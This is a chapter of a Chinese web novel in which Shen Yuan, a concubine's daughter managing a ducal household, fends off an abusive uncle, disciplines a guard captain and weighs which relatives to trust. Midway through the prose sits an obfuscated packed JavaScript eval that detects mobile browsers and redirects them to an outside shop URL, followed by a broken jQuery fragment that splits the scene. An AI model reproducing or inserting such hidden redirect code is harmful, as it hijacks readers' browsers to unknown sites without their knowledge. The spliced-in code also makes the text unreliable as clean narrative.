“这不是芫娘吗?你冷不丁出来,吓我一跳。”沈墩拍拍胸口,“我记得你是那个……”
他思索片刻道,“方姨娘生的,怎么只有你出来见客,婠娘呢?”
沈芫面带浅笑,闻言解释道,“五姐正在病中,如今是我在管事。”
沈墩不屑的嘀嘀咕咕道,“什么上不得台面的东西也敢往爷面前凑,爷都是正头娘子生的,也不知这婠娘怎么回事……”
他抬高声音喊了声,“婠娘,婠娘!”
沈芫仍是礼仪得体,阻止道,“叔叔,府中五姐正在病中需要清净,请您声音小些。”
沈墩一副地痞流氓气,他不耐烦道,“哪里有侄女管教叔叔的道理,我这上门都无人招待,还不让我教训下人了,我都是为你们着想,小心被下人欺负了。”
沈芫假笑快挂不住了,“国公府已闭门谢客,你要是想正经拜访,不如等我兄长回府,他来招待你。”
“我是你叔,不用那么麻烦,都是亲戚。”沈墩摆摆手,“你把你父亲之前应予我的五百两给我就行。”
沈芫面无表情道,“什么时候的事?可有证据和原由?”
沈墩指着自己的额头,“我,是我沈墩,我哥给我钱还需要理由吗?他去文渊书院前亲口说的。”
沈壤对沈墩确实大方,他也不时来国公府连吃带拿的,哪家没有几个打秋风的亲戚?
但现在不一样,府内现钱少,都要留给葬礼,他来拿五百两,又有其他人来拿个几百两,公中还能剩下什么钱。
沈芫很想翻白眼,但她要忍住,“如今府中是我管事,我只认证据,空口无凭你把钱拿走了,我哥回来问我钱去哪了,我难道还替你赔不成?”
沈墩有些气急败坏,他指着沈芫,“你是哪冒出来的,我只认国公府嫡女,你不过是个贱妾生养的,怎么配跟我说话?”
“就是沈婠让我管事的,不过她病了,你要找她等着吧,来人,”沈芫朗声道,“送他出去。”
沈墩气得跳脚,伸手就要给沈芫一记耳光,绿筠挺身挡在前抬手接下,接着便被劈头盖脸的拳打脚踢包围。
“什么东西,也敢挡着爷,这国公府真是没了规矩。”他一边打一边骂,绿筠不敢还手,只能含泪躲闪。
沈芫直接举起院中的扫帚,一边隔开两人一边大喊,“来人呐,有人要在国公府杀人,再不来人国公府就要死人了!”
沈墩被竹篾扫的生痛,怒吼出声,“啊!你这个贱蹄子,老子迟早给你卖到烟花巷去……”
他满口污言秽语,烟花巷是京都有名的娼妓居住地,没想到沈墩竟敢在国公府如此无礼。
沈芫气得两眼冒火,怒吼道,“府内护卫呢?张勇在哪?再不来这统领就别当了。”
国公府护卫首领张勇姗姗来迟,让人把沈墩拖出去后,自己单膝跪在沈芫面前。
沈芫知道府中不服她的人多了去了,只是今日张勇实在过分,前世无人管家,她并不知道张勇如何了。
眼下不好直接处理此人,沈芫执起扫帚在他背上打上三下,“主辱臣死,你让此人践踏国公府的脸面,此三下便是责罚。”
“国公府如今圣眷仍在,我虽不能一封奏折上达天听,也无诰命能见皇后,但太子幼时也在府中见过我,别让我去东宫门前下跪,求太子庇护。”
“到那时,你们这群护卫会如何?人手不足,护卫来迟是小事,主子在府内受伤那就是大事了。”
沈芫将东宫搬出来壮自己脸面,镇压这群生出异心的护卫,见他们面露后怕之色,方才回转语气,“好了,起来吧,别什么人都放进来,如今国公府闭门谢客。”
张勇身形一僵,拜倒,“属下知错,谢小姐饶恕。”
沈芫点点头,和绿筠重新回到房内。绿筠手臂、背部都有伤痕,脸上也有些肿胀,沈芫红着眼圈给她上药。
绿筠惶恐道,“小姐,奴婢自己来。”
沈芫柔声道,“你自己看不见,我来就好。”
前世沈芫进东宫后便把绿筠、蓝瑛放出去了,不让她们进那樊笼中,所以前期她在东宫孤立无援,只有自己。
后来阴淑华为威胁沈芫,在她面前活活勒死了两人,临到死也未透露沈芫的把柄,所以沈芫惧怕她,也痛恨她。
沈芫对她们心怀愧疚之心,能再见两人生龙活虎仍在人世,实在太好了,只希望她们过得好,一生无忧。
蓝瑛端着水盆过来给两人梳洗,见状也是红了眼眶,偷偷擦擦眼角,“六小姐心善,对奴婢们一直都很好。”
沈芫很难把自己当作人上人,对下人颐指气使,因为若不是方姨娘将她带到国公府,冒认沈壤的孩子。
自己与绿筠其实并无区别,甚至还要更差些。
沈芫道,“你们自小就陪在我身边,我只希望你们快乐康健一生,无论如何我都会为你们打算的。”
此话说得情真意切,让人热泪盈眶,绿筠和蓝瑛对视一眼,皆跪下道,“谢谢小姐,能得小姐这般话,奴婢这辈子都值了。”
沈芫将两人扶起,“快别这么说,你们是知道我的,我从未将你们当下人看待,你们就像与我生活多年的姐妹……”
“我知道你们又要说奴才不敢,可这国公府,能将我这毫无根基的庶女看在眼里的又能有几个?所以呀,我们就关起门来论亲疏,你们也要好好保重自己。”
沈芫絮絮叨叨的一边讲话一边给绿筠上药,说得两人涕泪俱下,还要她去取来布巾给她们擦拭,忙安慰道,“别哭,以后会有好日子的。”
主仆三人收拾心情继续忙碌,沈芫埋首在书桌前做账,为国公府后续做打算,一直到夜半时分,昏昏沉沉的睡在桌前。
柳嬷嬷轻手轻脚的进来为她盖上厚被,绿筠、蓝瑛端上炭火进屋,让沈芫免受风寒。
沈墩的到来只是个开胃菜,接下来沈家的族亲前赴后继登门拜访,唯恐落后。
不乏有些吃相难看的,沈芫三言两语就打发了,见难得手纷纷换上一副面孔,指着沈芫破口大骂的居多。
还在被敲打过的张勇能及时赶到,将人带走。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13745693|145262||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
但有些看起来是真心相帮的,沈芫便要斟酌一下。
比如这位京兆府七品参军沈竺的妻子胡氏,便眼含泪水,“六妹妹,苦了你了,有什么难事尽管说,我们虽人微言轻,但能帮一定帮。”
沈芫对沈竺没什么印象,看名字是与沈玄尘同辈,可能他一直官位比较低,不太起眼,沈芫斜瞥一眼张勇,让他守个门都守不好。
这便是给她的下马威吗?
胡氏见状连忙替张勇说情,“是我一定要进府的,我是国公府亲戚又是女眷,张统领不好阻拦。”
沈芫警铃大作,谢妃就经常说一些似是而非的话实则为了挑事,就如现在,胡氏为何要离间张勇和自己吗?
她做这个好人有必要吗?
沈芫含笑道,“我知道的,只是府中有人养病,不好常见客,省的过了病气倒是妹妹们的不是了。”
胡氏又连忙道歉,“这婠娘病了,我们也没带名医药材的,真是不好意思。”
你带了她也不敢用,沈芫微笑道,“没事的,婠娘主要是需清净养病,所以府中才闭门谢客的。”
胡氏不知道是真傻还是装的,她垂头道,“倒是我们扰了婠娘清净,太抱歉了。”
沈芫只好安慰,“你未喧哗,倒是还行。”
不论胡氏如何,既然愿意帮忙就一起过来,反正葬礼缺人手,沈芫顺手就安排上,“嫂子若是有心想帮忙,不如准备祭品时过来,到时大家一起叠金元宝。”
胡氏连连点头,“愿意的愿意的,你需要时就差人来找我,我家就在绣花巷子里头。”
沈芫谢道,“如此多谢嫂子了。”
送走胡氏,沈芫拿出小本本将人记下,如今看来要脸面的只有几户人家,到时能请他们来帮忙。
有几家都是几位姐姐的外家,听闻此事主动遣人来帮忙,包括向家,知道国公府内慌乱不好见客,就差了人送东西过来。
沈婠病后,也是送上不少药材进府。
沈芷的母亲姓杨,杨家只是普通人家,但也过来芫娘这露过面,说是愿意帮忙。
沈茉和沈菲的娘亲是云州知州的庶女,祖父虽在外任,却也有亲族在京替她们打算,所以前世能关起门来过自己的日子。
环视四周,举目无亲的唯有沈芫一个,她想到方姨娘,心里有些苦涩。
绿筠知小姐心中所想,开口道,“小姐,如今国公府是这个情况,夫人先前给小姐们相看的人家都无法算数了。”
沈芫这才从记忆深出找出来向氏,她给沈芷定的亲事是工部侍郎的庶子,倒也合适,只是工部侍郎甘骧是为攀附国公府才答应的婚事。
前世甘骧很快就来国公府退亲,沈芷便天天以泪洗面,直到长姐登门。后来沈玄尘归京,他与甘骧在朝堂上势如水火,就是为沈芷报仇。
沈玄尘对妹妹们这么好,为何偏要为难沈芫一个?她叹口气,正想着如今国公府式微,甘骧必会对亲事不满,不知何时过来退亲。
便听到守门的人跑过来禀报,“六小姐,工部侍郎甘府来人了!”